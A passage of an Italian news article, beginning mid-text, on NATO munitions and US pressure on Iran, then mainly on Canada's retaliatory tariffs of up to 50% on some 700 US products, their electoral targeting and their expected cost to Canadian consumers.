Il colonnello Martin O’Donnell, portavoce del comando militare della NATO, ha assicurato a sua volta che l’Alleanza Atlantica “ha abbastanza munizioni per la difesa aerea, compresi i missili Patriot, per difendersi” e continuare a rifornire l’Ucraina. O’Donnell non è però entrato nel merito della consistenza delle scorte statunitensi.

Trump ha sospeso gli attacchi contro l’Iran alla fine di luglio, mentre cresceva il dibattito sull’esaurimento delle munizioni, e punta ora soprattutto sulla pressione economica. Il segretario al Tesoro Scott Bessent ha sostenuto che il nuovo approccio dovrebbe evitare, almeno nel breve periodo, un ritorno a combattimenti su larga scala.

Funzionari arabi ed ex funzionari americani avvertono tuttavia che sanzioni particolarmente punitive potrebbero spingere Teheran a reagire colpendo le infrastrutture del Golfo. “L’Iran ha ancora una forte capacità d’azione”, ha detto al Wall Street Journal Daniel Shapiro, ex funzionario del Pentagono durante l’amministrazione Biden e oggi senior fellow dell’Atlantic Council. Teheran, ha aggiunto, dispone ancora degli strumenti per “infliggere danni a noi e all’economia globale” e il loro impiego comporterebbe “probabilmente azioni militari alle quali gli Stati Uniti dovrebbero quasi certamente rispondere”.


Il Canada risponde a Trump: dazi fino al 50% su 700 prodotti americani


Il Canada imporrà dazi fino al 50% su circa 700 prodotti statunitensi in risposta alle nuove tariffe imposte dalla Casa Bianca, hanno annunciato ieri i funzionari canadesi. Le misure entreranno in vigore l'8 settembre e riguarderanno merci per 27,6 miliardi di dollari canadesi, quasi 20 miliardi di dollari statunitensi, pari a circa il 7% degli acquisti annuali del Canada negli Stati Uniti. Quasi tutte le aliquote saranno comprese tra il 15% e il 50%. Acciaio e alluminio americani, già soggetti a un dazio del 25%, saranno tassati al 50%. Insieme ai controdazi, Ottawa ha annunciato un pacchetto di sostegno da 7,5 miliardi di dollari canadesi destinato alle piccole e medie imprese, alla liquidità delle aziende e ai lavoratori a rischio.

La rappresaglia arriva dopo che sabato 22 agosto Washington ha imposto dazi del 50% su 20 miliardi di dollari di merci canadesi, colpendo bastoni da hockey, cemento, carta, prodotti chimici e altri beni. Le misure sono scattate dopo il fallimento dei negoziati commerciali e l'annuncio di un dazio del 50% sulle automobili a partire dal 1º gennaio 2027. Donald Trump sostiene che gli Stati Uniti perdano 60 miliardi di dollari l'anno negli scambi commerciali con il Paese vicino, anche se Statistics Canada calcola un avanzo commerciale canadese di 9,9 miliardi di dollari canadesi.

La Casa Bianca ha dichiarato che il Canada "sfrutta gli Stati Uniti da decenni e il presidente Trump ha smesso di permetterglielo". Washington sostiene di avere offerto a Ottawa "l'accesso al mercato più favorevole" concesso a qualsiasi Paese, con consistenti riduzioni dei dazi su acciaio, alluminio, automobili e legname. "Il Canada ha scelto richieste irragionevoli, marce indietro e rifiuti netti", ha aggiunto la Casa Bianca.

Su Truth Social, il presidente ha alzato il tiro anche sulla toponomastica. "Gli Stati Uniti stanno prendendo seriamente in considerazione la possibilità di cambiare il nome del lago Ontario in Lake America, dal momento che non ci aspettiamo di fare ancora molti affari con l'Ontario", ha scritto ieri. Trump ha poi diffuso una mappa con il nome attuale barrato in rosso e quello nuovo sovrapposto in lettere dorate. "Ho a che fare con molti Paesi e il Canada è di gran lunga il più difficile e irragionevole", ha aggiunto.

La lista segue la mappa elettorale americana


Le merci colpite provengono in larga parte da Stati nei quali a novembre si terranno elezioni particolarmente combattute, hanno osservato gli analisti: formaggi lavorati nel Wisconsin, prodotti ittici del Maine, lavatrici e asciugatrici del Kentucky, dove General Electric possiede un importante stabilimento. Circa duecento voci dell'elenco riguardano il settore ittico e potrebbero quindi pesare soprattutto sul Maine, dove la senatrice repubblicana Susan Collins è candidata alla rielezione e lunedì ha definito "un errore" l'imposizione di nuovi dazi al Canada.

La pressione si estende ai repubblicani di Michigan, Ohio, Alaska e Iowa, altri Stati confinanti con il Canada o che hanno nel Paese il loro principale partner commerciale. È una strategia già sperimentata: durante il primo mandato di Trump, la rappresaglia canadese aveva colpito il whiskey del Kentucky, il succo d'arancia della Florida e lo yogurt del Wisconsin.

"Agiamo in modo accorto e strategico", ha confermato la Ministra dell'Industria Mélanie Joly durante una conferenza stampa, ammettendo che alcuni prodotti sono stati scelti proprio per esercitare pressioni politiche su singoli Stati americani. Joly ha poi invitato i canadesi a privilegiare i prodotti nazionali nei supermercati e negli altri negozi: "È quello che potete fare, ed è così che possiamo dare vita a questi movimenti di resistenza rispetto a ciò che ci sta accadendo".

Secondo Eric Miller, presidente della società di consulenza commerciale Rideau Potomac Strategy Group di Washington, i nuovi dazi colpiscono prodotti per i quali i canadesi possono trovare alternative fabbricate nel Paese oppure, come nel caso dei condizionatori e degli elettrodomestici, in Messico o in Cina. Allo stesso tempo, le misure aumentano la pressione su Trump perché prendono di mira "produttori situati in Stati dove le competizioni elettorali sono molto combattute o saldamente repubblicani", ha spiegato Miller. Il Canada è il secondo partner commerciale degli Stati Uniti, dopo il Messico e davanti alla Cina, una posizione che rende lo scontro particolarmente costoso per entrambe le economie.

Il costo dei controdazi per i canadesi


Le nuove aliquote potrebbero però aggiungere 0,20 punti percentuali all'inflazione canadese, già al 3%, ha calcolato Royce Mendes, economista di Desjardins Capital Markets. I rincari arriverebbero mentre la Bank of Canada cerca di governare un'economia già alle prese con l'aumento dei prezzi dell'energia e con il rischio di un ulteriore rallentamento provocato dal conflitto commerciale.

"Un conflitto commerciale più intenso danneggerà il Canada più degli Stati Uniti e i controdazi non saranno d'aiuto", ha detto Karl Schamotta, capo stratega di mercato della società di pagamenti globali Corpay. "In Canada, come negli Stati Uniti, sono di fatto tasse sui consumi interni: aumentano il costo della vita e fanno ben poco per modificare le bilance commerciali o migliorare il benessere economico complessivo".

Barry Appleton, avvocato specializzato in diritto commerciale internazionale e docente alla New York Law School, vede nelle tre diverse aliquote — 15%, 25% e 50% — un approccio più mirato rispetto a una semplice risposta dollaro su dollaro. Ma la decisione di colpire beni di uso quotidiano come formaggi, cosmetici e carta igienica avrà conseguenze dirette: "A risentirne direttamente saranno i consumatori canadesi, non soltanto i produttori".

Entrambe le parti accusano l'altra di avere avanzato all'ultimo momento richieste inaccettabili. Washington giustifica i nuovi dazi con il trattamento riservato dal Canada alle automobili, ai vini, ai liquori e ai prodotti lattiero-caseari statunitensi. Il primo ministro Mark Carney ha affermato questa settimana che dai negoziati sarebbe invece emersa l'intenzione di Trump di distruggere il settore automobilistico canadese, oltre alle industrie dell'acciaio e dell'alluminio.

Ottawa sarebbe pronta a riaprire i colloqui, ma soltanto se gli Stati Uniti si presentassero "con il giusto atteggiamento verso le nostre industrie". "Non accetteremo un approccio negoziale secondo il quale il Canada è una filiale degli Stati Uniti e l'industria canadese deve essere svantaggiata rispetto a quella americana", ha aggiunto Carney.


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